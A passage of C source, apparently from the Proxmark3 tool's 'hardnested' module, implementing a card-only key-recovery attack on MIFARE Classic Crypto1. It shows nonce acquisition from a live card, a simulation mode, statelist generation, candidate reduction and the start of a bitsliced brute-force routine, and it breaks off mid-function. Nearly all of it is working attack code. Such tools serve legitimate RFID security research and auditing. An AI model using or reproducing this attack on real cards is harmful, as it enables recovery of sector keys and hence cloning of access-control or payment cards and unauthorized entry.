709 cuid = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
710 known_target_key = ((uint64_t)rand() & 0xfff) << 36 | ((uint64_t)rand() & 0xfff) << 24 | ((uint64_t)rand() & 0xfff) << 12 | ((uint64_t)rand() & 0xfff);
711
712 printf("Simulating nonce acquisition for target key %012"llx", cuid %08x ...\n", known_target_key, cuid);
713 fprintf(fstats, "%012"llx";%08x;", known_target_key, cuid);
714
715 do {
716 uint32_t nt_enc = 0;
717 uint8_t par_enc = 0;
718
719 simulate_MFplus_RNG(cuid, known_target_key, &nt_enc, &par_enc);
720 //printf("Simulated RNG: nt_enc1: %08x, nt_enc2: %08x, par_enc: %02x\n", nt_enc1, nt_enc2, par_enc);
721 total_added_nonces += add_nonce(nt_enc, par_enc);
722 total_num_nonces++;
723
724 if (first_byte_num == 256 ) {
725 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
726 if (!filter_flip_checked) {
727 Check_for_FilterFlipProperties();
728 filter_flip_checked = true;
729 }
730 num_good_first_bytes = estimate_second_byte_sum();
731 if (total_num_nonces > next_fivehundred) {
732 next_fivehundred = (total_num_nonces/500+1) * 500;
733 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
734 total_num_nonces,
735 total_added_nonces,
736 CONFIDENCE_THRESHOLD * 100.0,
737 num_good_first_bytes);
738 }
739 }
740
741 } while (num_good_first_bytes < GOOD_BYTES_REQUIRED);
742
743 time1 = clock() - time1;
744 if ( time1 > 0 ) {
745 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
746 total_num_nonces,
747 ((float)time1)/CLOCKS_PER_SEC,
748 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1);
749 }
750 fprintf(fstats, "%d;%d;%d;%1.2f;", total_num_nonces, total_added_nonces, num_good_first_bytes, CONFIDENCE_THRESHOLD);
751
752 }
753
754 static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow)
755 {
756 clock_t time1 = clock();
757 bool initialize = true;
758 bool field_off = false;
759 bool finished = false;
760 bool filter_flip_checked = false;
761 uint32_t flags = 0;
762 uint8_t write_buf[9];
763 uint32_t total_num_nonces = 0;
764 uint32_t next_fivehundred = 500;
765 uint32_t total_added_nonces = 0;
766 FILE *fnonces = NULL;
767 UsbCommand resp;
768
769 printf("Acquiring nonces...\n");
770
771 clearCommandBuffer();
772
773 do {
774 flags = 0;
775 flags |= initialize ? 0x0001 : 0;
776 flags |= slow ? 0x0002 : 0;
777 flags |= field_off ? 0x0004 : 0;
778 UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, flags}};
779 memcpy(c.d.asBytes, key, 6);
780
781 SendCommand(&c);
782
783 if (field_off) finished = true;
784
785 if (initialize) {
786 if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) return 1;
787 if (resp.arg[0]) return resp.arg[0]; // error during nested_hard
788
789 cuid = resp.arg[1];
790 // PrintAndLog("Acquiring nonces for CUID 0x%08x", cuid);
791 if (nonce_file_write && fnonces == NULL) {
792 if ((fnonces = fopen("nonces.bin","wb")) == NULL) {
793 PrintAndLog("Could not create file nonces.bin");
794 return 3;
795 }
796 PrintAndLog("Writing acquired nonces to binary file nonces.bin");
797 num_to_bytes(cuid, 4, write_buf);
798 fwrite(write_buf, 1, 4, fnonces);
799 fwrite(&trgBlockNo, 1, 1, fnonces);
800 fwrite(&trgKeyType, 1, 1, fnonces);
801 }
802 }
803
804 if (!initialize) {
805 uint32_t nt_enc1, nt_enc2;
806 uint8_t par_enc;
807 uint16_t num_acquired_nonces = resp.arg[2];
808 uint8_t *bufp = resp.d.asBytes;
809 for (uint16_t i = 0; i < num_acquired_nonces; i+=2) {
810 nt_enc1 = bytes_to_num(bufp, 4);
811 nt_enc2 = bytes_to_num(bufp+4, 4);
812 par_enc = bytes_to_num(bufp+8, 1);
813
814 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
815 total_added_nonces += add_nonce(nt_enc1, par_enc >> 4);
816 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
817 total_added_nonces += add_nonce(nt_enc2, par_enc & 0x0f);
818
819 if (nonce_file_write) {
820 fwrite(bufp, 1, 9, fnonces);
821 }
822
823 bufp += 9;
824 }
825
826 total_num_nonces += num_acquired_nonces;
827 }
828
829 if (first_byte_num == 256 ) {
830 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
831 if (!filter_flip_checked) {
832 Check_for_FilterFlipProperties();
833 filter_flip_checked = true;
834 }
835 num_good_first_bytes = estimate_second_byte_sum();
836 if (total_num_nonces > next_fivehundred) {
837 next_fivehundred = (total_num_nonces/500+1) * 500;
838 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
839 total_num_nonces,
840 total_added_nonces,
841 CONFIDENCE_THRESHOLD * 100.0,
842 num_good_first_bytes);
843 }
844 if (num_good_first_bytes >= GOOD_BYTES_REQUIRED) {
845 field_off = true; // switch off field with next SendCommand and then finish
846 }
847 }
848
849 if (!initialize) {
850 if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) {
851 fclose(fnonces);
852 return 1;
853 }
854 if (resp.arg[0]) {
855 fclose(fnonces);
856 return resp.arg[0]; // error during nested_hard
857 }
858 }
859
860 initialize = false;
861
862 } while (!finished);
863
864
865 if (nonce_file_write) {
866 fclose(fnonces);
867 }
868
869 time1 = clock() - time1;
870 if ( time1 > 0 ) {
871 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
872 total_num_nonces,
873 ((float)time1)/CLOCKS_PER_SEC,
874 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1
875 );
876 }
877 return 0;
878 }
879
880 static int init_partial_statelists(void)
881 {
882 const uint32_t sizes_odd[17] = { 126757, 0, 18387, 0, 74241, 0, 181737, 0, 248801, 0, 182033, 0, 73421, 0, 17607, 0, 125601 };
883 const uint32_t sizes_even[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73356, 0, 18127, 0, 126634 };
884
885 printf("Allocating memory for partial statelists...\n");
886 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
887 for (uint16_t i = 0; i <= 16; i+=2) {
888 partial_statelist[i].len[odd_even] = 0;
889 uint32_t num_of_states = odd_even == ODD_STATE ? sizes_odd[i] : sizes_even[i];
890 partial_statelist[i].states[odd_even] = malloc(sizeof(uint32_t) * num_of_states);
891 if (partial_statelist[i].states[odd_even] == NULL) {
892 PrintAndLog("Cannot allocate enough memory. Aborting");
893 return 4;
894 }
895 for (uint32_t j = 0; j < STATELIST_INDEX_SIZE; j++) {
896 partial_statelist[i].index[odd_even][j] = NULL;
897 }
898 }
899 }
900
901 printf("Generating partial statelists...\n");
902 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
903 uint32_t index = -1;
904 uint32_t num_of_states = 1<<20;
905 for (uint32_t state = 0; state < num_of_states; state++) {
906 uint16_t sum_property = PartialSumProperty(state, odd_even);
907 uint32_t *p = partial_statelist[sum_property].states[odd_even];
908 p += partial_statelist[sum_property].len[odd_even];
909 *p = state;
910 partial_statelist[sum_property].len[odd_even]++;
911 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
912 if ((state & index_mask) != index) {
913 index = state & index_mask;
914 }
915 if (partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
916 partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] = p;
917 }
918 }
919 // add End Of List markers
920 for (uint16_t i = 0; i <= 16; i += 2) {
921 uint32_t *p = partial_statelist[i].states[odd_even];
922 p += partial_statelist[i].len[odd_even];
923 *p = 0xffffffff;
924 }
925 }
926
927 return 0;
928 }
929
930 static void init_BitFlip_statelist(void)
931 {
932 printf("Generating bitflip statelist...\n");
933 uint32_t *p = statelist_bitflip.states[0] = malloc(sizeof(uint32_t) * 1<<20);
934 uint32_t index = -1;
935 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
936 for (uint32_t state = 0; state < (1 << 20); state++) {
937 if (filter(state) != filter(state^1)) {
938 if ((state & index_mask) != index) {
939 index = state & index_mask;
940 }
941 if (statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
942 statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] = p;
943 }
944 *p++ = state;
945 }
946 }
947 // set len and add End Of List marker
948 statelist_bitflip.len[0] = p - statelist_bitflip.states[0];
949 *p = 0xffffffff;
950 statelist_bitflip.states[0] = realloc(statelist_bitflip.states[0], sizeof(uint32_t) * (statelist_bitflip.len[0] + 1));
951 }
952
953 static inline uint32_t *find_first_state(uint32_t state, uint32_t mask, partial_indexed_statelist_t *sl, odd_even_t odd_even)
954 {
955 uint32_t *p = sl->index[odd_even][(state & mask) >> (20-STATELIST_INDEX_WIDTH)]; // first Bits as index
956
957 if (p == NULL) return NULL;
958 while (*p < (state & mask)) p++;
959 if (*p == 0xffffffff) return NULL; // reached end of list, no match
960 if ((*p & mask) == (state & mask)) return p; // found a match.
961 return NULL; // no match
962 }
963
964 static inline bool /*__attribute__((always_inline))*/ invariant_holds(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
965 {
966 uint_fast8_t j_1_bit_mask = 0x01 << (bit-1);
967 uint_fast8_t bit_diff = byte_diff & j_1_bit_mask; // difference of (j-1)th bit
968 uint_fast8_t filter_diff = filter(state1 >> (4-state_bit)) ^ filter(state2 >> (4-state_bit)); // difference in filter function
969 uint_fast8_t mask_y12_y13 = 0xc0 >> state_bit;
970 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y12_y13; // difference in state bits 12 and 13
971 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff ^ filter_diff); // use parity function to XOR all bits
972 return !all_diff;
973 }
974
975 static inline bool /*__attribute__((always_inline))*/ invalid_state(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
976 {
977 uint_fast8_t j_bit_mask = 0x01 << bit;
978 uint_fast8_t bit_diff = byte_diff & j_bit_mask; // difference of jth bit
979 uint_fast8_t mask_y13_y16 = 0x48 >> state_bit;
980 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y13_y16; // difference in state bits 13 and 16
981 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff); // use parity function to XOR all bits
982 return all_diff;
983 }
984
985 static inline bool remaining_bits_match(uint_fast8_t num_common_bits, uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, odd_even_t odd_even)
986 {
987 if (odd_even) {
988 // odd bits
989 switch (num_common_bits) {
990 case 0: if (!invariant_holds(byte_diff, state1, state2, 1, 0)) return true;
991 case 1: if (invalid_state(byte_diff, state1, state2, 1, 0)) return false;
992 case 2: if (!invariant_holds(byte_diff, state1, state2, 3, 1)) return true;
993 case 3: if (invalid_state(byte_diff, state1, state2, 3, 1)) return false;
994 case 4: if (!invariant_holds(byte_diff, state1, state2, 5, 2)) return true;
995 case 5: if (invalid_state(byte_diff, state1, state2, 5, 2)) return false;
996 case 6: if (!invariant_holds(byte_diff, state1, state2, 7, 3)) return true;
997 case 7: if (invalid_state(byte_diff, state1, state2, 7, 3)) return false;
998 }
999 } else {
1000 // even bits
1001 switch (num_common_bits) {
1002 case 0: if (invalid_state(byte_diff, state1, state2, 0, 0)) return false;
1003 case 1: if (!invariant_holds(byte_diff, state1, state2, 2, 1)) return true;
1004 case 2: if (invalid_state(byte_diff, state1, state2, 2, 1)) return false;
1005 case 3: if (!invariant_holds(byte_diff, state1, state2, 4, 2)) return true;
1006 case 4: if (invalid_state(byte_diff, state1, state2, 4, 2)) return false;
1007 case 5: if (!invariant_holds(byte_diff, state1, state2, 6, 3)) return true;
1008 case 6: if (invalid_state(byte_diff, state1, state2, 6, 3)) return false;
1009 }
1010 }
1011
1012 return true; // valid state
1013 }
1014
1015 static bool all_other_first_bytes_match(uint32_t state, odd_even_t odd_even)
1016 {
1017 for (uint16_t i = 1; i < num_good_first_bytes; i++) {
1018 uint16_t sum_a8 = nonces[best_first_bytes[i]].Sum8_guess;
1019 uint_fast8_t bytes_diff = best_first_bytes[0] ^ best_first_bytes[i];
1020 uint_fast8_t j = common_bits(bytes_diff);
1021 uint32_t mask = 0xfffffff0;
1022 if (odd_even == ODD_STATE) {
1023 mask >>= j/2;
1024 } else {
1025 mask >>= (j+1)/2;
1026 }
1027 mask &= 0x000fffff;
1028 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1029 bool found_match = false;
1030 for (uint16_t r = 0; r <= 16 && !found_match; r += 2) {
1031 for (uint16_t s = 0; s <= 16 && !found_match; s += 2) {
1032 if (r*(16-s) + (16-r)*s == sum_a8) {
1033 //printf("Checking byte 0x%02x for partial sum (%s) %d\n", best_first_bytes[i], odd_even==ODD_STATE?"odd":"even", odd_even==ODD_STATE?r:s);
1034 uint16_t part_sum_a8 = (odd_even == ODD_STATE) ? r : s;
1035 uint32_t *p = find_first_state(state, mask, &partial_statelist[part_sum_a8], odd_even);
1036 if (p != NULL) {
1037 while ((state & mask) == (*p & mask) && (*p != 0xffffffff)) {
1038 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1039 found_match = true;
1040 // if ((odd_even == ODD_STATE && state == test_state_odd)
1041 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1042 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1043 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1044 // }
1045 break;
1046 } else {
1047 // if ((odd_even == ODD_STATE && state == test_state_odd)
1048 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1049 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1050 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1051 // }
1052 }
1053 p++;
1054 }
1055 } else {
1056 // if ((odd_even == ODD_STATE && state == test_state_odd)
1057 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1058 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1059 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1060 // }
1061 }
1062 }
1063 }
1064 }
1065
1066 if (!found_match) {
1067 // if ((odd_even == ODD_STATE && state == test_state_odd)
1068 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1069 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1070 // }
1071 return false;
1072 }
1073 }
1074
1075 return true;
1076 }
1077
1078 static bool all_bit_flips_match(uint32_t state, odd_even_t odd_even)
1079 {
1080 for (uint16_t i = 0; i < 256; i++) {
1081 if (nonces[i].BitFlip[odd_even] && i != best_first_bytes[0]) {
1082 uint_fast8_t bytes_diff = best_first_bytes[0] ^ i;
1083 uint_fast8_t j = common_bits(bytes_diff);
1084 uint32_t mask = 0xfffffff0;
1085 if (odd_even == ODD_STATE) {
1086 mask >>= j/2;
1087 } else {
1088 mask >>= (j+1)/2;
1089 }
1090 mask &= 0x000fffff;
1091 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1092 bool found_match = false;
1093 uint32_t *p = find_first_state(state, mask, &statelist_bitflip, 0);
1094 if (p != NULL) {
1095 while ((state & mask) == (*p & mask) && (*p != 0xffffffff)) {
1096 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1097 found_match = true;
1098 // if ((odd_even == ODD_STATE && state == test_state_odd)
1099 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1100 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1101 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1102 // }
1103 break;
1104 } else {
1105 // if ((odd_even == ODD_STATE && state == test_state_odd)
1106 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1107 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1108 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1109 // }
1110 }
1111 p++;
1112 }
1113 } else {
1114 // if ((odd_even == ODD_STATE && state == test_state_odd)
1115 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1116 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1117 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1118 // }
1119 }
1120 if (!found_match) {
1121 // if ((odd_even == ODD_STATE && state == test_state_odd)
1122 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1123 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1124 // }
1125 return false;
1126 }
1127 }
1128
1129 }
1130
1131 return true;
1132 }
1133
1134 static struct sl_cache_entry {
1135 uint32_t *sl;
1136 uint32_t len;
1137 } sl_cache[17][17][2];
1138
1139 static void init_statelist_cache(void)
1140 {
1141 for (uint16_t i = 0; i < 17; i+=2) {
1142 for (uint16_t j = 0; j < 17; j+=2) {
1143 for (uint16_t k = 0; k < 2; k++) {
1144 sl_cache[i][j][k].sl = NULL;
1145 sl_cache[i][j][k].len = 0;
1146 }
1147 }
1148 }
1149 }
1150
1151 static int add_matching_states(statelist_t *candidates, uint16_t part_sum_a0, uint16_t part_sum_a8, odd_even_t odd_even)
1152 {
1153 uint32_t worstcase_size = 1<<20;
1154
1155 // check cache for existing results
1156 if (sl_cache[part_sum_a0][part_sum_a8][odd_even].sl != NULL) {
1157 candidates->states[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].sl;
1158 candidates->len[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].len;
1159 return 0;
1160 }
1161
1162 candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size);
1163 if (candidates->states[odd_even] == NULL) {
1164 PrintAndLog("Out of memory error.\n");
1165 return 4;
1166 }
1167 uint32_t *add_p = candidates->states[odd_even];
1168 for (uint32_t *p1 = partial_statelist[part_sum_a0].states[odd_even]; *p1 != 0xffffffff; p1++) {
1169 uint32_t search_mask = 0x000ffff0;
1170 uint32_t *p2 = find_first_state((*p1 << 4), search_mask, &partial_statelist[part_sum_a8], odd_even);
1171 if (p2 != NULL) {
1172 while (((*p1 << 4) & search_mask) == (*p2 & search_mask) && *p2 != 0xffffffff) {
1173 if ((nonces[best_first_bytes[0]].BitFlip[odd_even] && find_first_state((*p1 << 4) | *p2, 0x000fffff, &statelist_bitflip, 0))
1174 || !nonces[best_first_bytes[0]].BitFlip[odd_even]) {
1175 if (all_other_first_bytes_match((*p1 << 4) | *p2, odd_even)) {
1176 if (all_bit_flips_match((*p1 << 4) | *p2, odd_even)) {
1177 *add_p++ = (*p1 << 4) | *p2;
1178 }
1179 }
1180 }
1181 p2++;
1182 }
1183 }
1184 }
1185
1186 // set end of list marker and len
1187 *add_p = 0xffffffff;
1188 candidates->len[odd_even] = add_p - candidates->states[odd_even];
1189
1190 candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1));
1191
1192 sl_cache[part_sum_a0][part_sum_a8][odd_even].sl = candidates->states[odd_even];
1193 sl_cache[part_sum_a0][part_sum_a8][odd_even].len = candidates->len[odd_even];
1194
1195 return 0;
1196 }
1197
1198 static statelist_t *add_more_candidates(statelist_t *current_candidates)
1199 {
1200 statelist_t *new_candidates = NULL;
1201 if (current_candidates == NULL) {
1202 if (candidates == NULL) {
1203 candidates = (statelist_t *)malloc(sizeof(statelist_t));
1204 }
1205 new_candidates = candidates;
1206 } else {
1207 new_candidates = current_candidates->next = (statelist_t *)malloc(sizeof(statelist_t));
1208 }
1209 new_candidates->next = NULL;
1210 new_candidates->len[ODD_STATE] = 0;
1211 new_candidates->len[EVEN_STATE] = 0;
1212 new_candidates->states[ODD_STATE] = NULL;
1213 new_candidates->states[EVEN_STATE] = NULL;
1214 return new_candidates;
1215 }
1216
1217 static void TestIfKeyExists(uint64_t key)
1218 {
1219 struct Crypto1State *pcs;
1220 pcs = crypto1_create(key);
1221 crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
1222
1223 uint32_t state_odd = pcs->odd & 0x00ffffff;
1224 uint32_t state_even = pcs->even & 0x00ffffff;
1225 //printf("Tests: searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_bytes[0], state_odd, state_even);
1226
1227 uint64_t count = 0;
1228 for (statelist_t *p = candidates; p != NULL; p = p->next) {
1229 bool found_odd = false;
1230 bool found_even = false;
1231 uint32_t *p_odd = p->states[ODD_STATE];
1232 uint32_t *p_even = p->states[EVEN_STATE];
1233 while (*p_odd != 0xffffffff) {
1234 if ((*p_odd & 0x00ffffff) == state_odd) {
1235 found_odd = true;
1236 break;
1237 }
1238 p_odd++;
1239 }
1240 while (*p_even != 0xffffffff) {
1241 if ((*p_even & 0x00ffffff) == state_even) {
1242 found_even = true;
1243 }
1244 p_even++;
1245 }
1246 count += (p_odd - p->states[ODD_STATE]) * (p_even - p->states[EVEN_STATE]);
1247 if (found_odd && found_even) {
1248 PrintAndLog("Key Found after testing %lld (2^%1.1f) out of %lld (2^%1.1f) keys. A brute force would have taken approx %lld minutes.",
1249 count, log(count)/log(2),
1250 maximum_states, log(maximum_states)/log(2),
1251 (count>>23)/60);
1252 if (write_stats) {
1253 fprintf(fstats, "1\n");
1254 }
1255 crypto1_destroy(pcs);
1256 return;
1257 }
1258 }
1259
1260 printf("Key NOT found!\n");
1261 if (write_stats) {
1262 fprintf(fstats, "0\n");
1263 }
1264 crypto1_destroy(pcs);
1265 }
1266
1267 static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8)
1268 {
1269 printf("Generating crypto1 state candidates... \n");
1270
1271 statelist_t *current_candidates = NULL;
1272 // estimate maximum candidate states
1273 maximum_states = 0;
1274 for (uint16_t sum_odd = 0; sum_odd <= 16; sum_odd += 2) {
1275 for (uint16_t sum_even = 0; sum_even <= 16; sum_even += 2) {
1276 if (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even == sum_a0) {
1277 maximum_states += (uint64_t)partial_statelist[sum_odd].len[ODD_STATE] * partial_statelist[sum_even].len[EVEN_STATE] * (1<<8);
1278 }
1279 }
1280 }
1281 printf("Number of possible keys with Sum(a0) = %d: %"PRIu64" (2^%1.1f)\n", sum_a0, maximum_states, log(maximum_states)/log(2.0));
1282
1283 init_statelist_cache();
1284
1285 for (uint16_t p = 0; p <= 16; p += 2) {
1286 for (uint16_t q = 0; q <= 16; q += 2) {
1287 if (p*(16-q) + (16-p)*q == sum_a0) {
1288 printf("Reducing Partial Statelists (p,q) = (%d,%d) with lengths %d, %d\n",
1289 p, q, partial_statelist[p].len[ODD_STATE], partial_statelist[q].len[EVEN_STATE]);
1290 for (uint16_t r = 0; r <= 16; r += 2) {
1291 for (uint16_t s = 0; s <= 16; s += 2) {
1292 if (r*(16-s) + (16-r)*s == sum_a8) {
1293 current_candidates = add_more_candidates(current_candidates);
1294 // check for the smallest partial statelist. Try this first - it might give 0 candidates
1295 // and eliminate the need to calculate the other part
1296 if (MIN(partial_statelist[p].len[ODD_STATE], partial_statelist[r].len[ODD_STATE])
1297 < MIN(partial_statelist[q].len[EVEN_STATE], partial_statelist[s].len[EVEN_STATE])) {
1298 add_matching_states(current_candidates, p, r, ODD_STATE);
1299 if(current_candidates->len[ODD_STATE]) {
1300 add_matching_states(current_candidates, q, s, EVEN_STATE);
1301 } else {
1302 current_candidates->len[EVEN_STATE] = 0;
1303 uint32_t *p = current_candidates->states[EVEN_STATE] = malloc(sizeof(uint32_t));
1304 *p = 0xffffffff;
1305 }
1306 } else {
1307 add_matching_states(current_candidates, q, s, EVEN_STATE);
1308 if(current_candidates->len[EVEN_STATE]) {
1309 add_matching_states(current_candidates, p, r, ODD_STATE);
1310 } else {
1311 current_candidates->len[ODD_STATE] = 0;
1312 uint32_t *p = current_candidates->states[ODD_STATE] = malloc(sizeof(uint32_t));
1313 *p = 0xffffffff;
1314 }
1315 }
1316 //printf("Odd state candidates: %6d (2^%0.1f)\n", current_candidates->len[ODD_STATE], log(current_candidates->len[ODD_STATE])/log(2));
1317 //printf("Even state candidates: %6d (2^%0.1f)\n", current_candidates->len[EVEN_STATE], log(current_candidates->len[EVEN_STATE])/log(2));
1318 }
1319 }
1320 }
1321 }
1322 }
1323 }
1324
1325
1326 maximum_states = 0;
1327 for (statelist_t *sl = candidates; sl != NULL; sl = sl->next) {
1328 maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE];
1329 }
1330 printf("Number of remaining possible keys: %"PRIu64" (2^%1.1f)\n", maximum_states, log(maximum_states)/log(2.0));
1331 if (write_stats) {
1332 if (maximum_states != 0) {
1333 fprintf(fstats, "%1.1f;", log(maximum_states)/log(2.0));
1334 } else {
1335 fprintf(fstats, "%1.1f;", 0.0);
1336 }
1337 }
1338 }
1339
1340 static void free_candidates_memory(statelist_t *sl)
1341 {
1342 if (sl == NULL) {
1343 return;
1344 } else {
1345 free_candidates_memory(sl->next);
1346 free(sl);
1347 }
1348 }
1349
1350 static void free_statelist_cache(void)
1351 {
1352 for (uint16_t i = 0; i < 17; i+=2) {
1353 for (uint16_t j = 0; j < 17; j+=2) {
1354 for (uint16_t k = 0; k < 2; k++) {
1355 free(sl_cache[i][j][k].sl);
1356 }
1357 }
1358 }
1359 }
1360
1361 uint64_t foundkey = 0;
1362 size_t keys_found = 0;
1363 size_t bucket_count = 0;
1364 statelist_t* buckets[128];
1365 size_t total_states_tested = 0;
1366 size_t thread_count = 4;
1367
1368 // these bitsliced states will hold identical states in all slices
1369 bitslice_t bitsliced_rollback_byte[ROLLBACK_SIZE];
1370
1371 // arrays of bitsliced states with identical values in all slices
1372 bitslice_t bitsliced_encrypted_nonces[NONCE_TESTS][STATE_SIZE];
1373 bitslice_t bitsliced_encrypted_parity_bits[NONCE_TESTS][ROLLBACK_SIZE];
1374
1375 #define EXACT_COUNT
1376
1377 static const uint64_t crack_states_bitsliced(statelist_t *p){
1378 // the idea to roll back the half-states before combining them was suggested/explained to me by bla
1379 // first we pre-bitslice all the even state bits and roll them back, then bitslice the odd bits and combine the two in the inner loop
1380 uint64_t key = -1;
1381 uint8_t bSize = sizeof(bitslice_t);
1382
1383 #ifdef EXACT_COUNT
1384 size_t bucket_states_tested = 0;
1385 size_t bucket_size[p->len[EVEN_STATE]/MAX_BITSLICES];
1386 #else
1387 const size_t bucket_states_tested = (p->len[EVEN_STATE])*(p->len[ODD_STATE]);
1388 #endif
1389
1390 bitslice_t *bitsliced_even_states[p->len[EVEN_STATE]/MAX_BITSLICES];
1391 size_t bitsliced_blocks = 0;
1392 uint32_t const * restrict even_end = p->states[EVEN_STATE]+p->len[EVEN_STATE];
1393
1394 // bitslice all the even states
1395 for(uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < even_end; p_even += MAX_BITSLICES){
1396
1397 #ifdef __WIN32
1398 #ifdef __MINGW32__
1399 bitslice_t * restrict lstate_p = __mingw_aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1400 #else
1401 bitslice_t * restrict lstate_p = _aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1402 #endif
1403 #else
1404 #ifdef __APPLE__
1405 bitslice_t * restrict lstate_p = malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize);
1406 #else
1407 bitslice_t * restrict lstate_p = memalign(bSize, (STATE_SIZE+ROLLBACK_SIZE) * bSize);
1408 #endif
1409 #endif
1410
1411 if ( !lstate_p ) {
1412 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1413 return key;
1414 }
1415
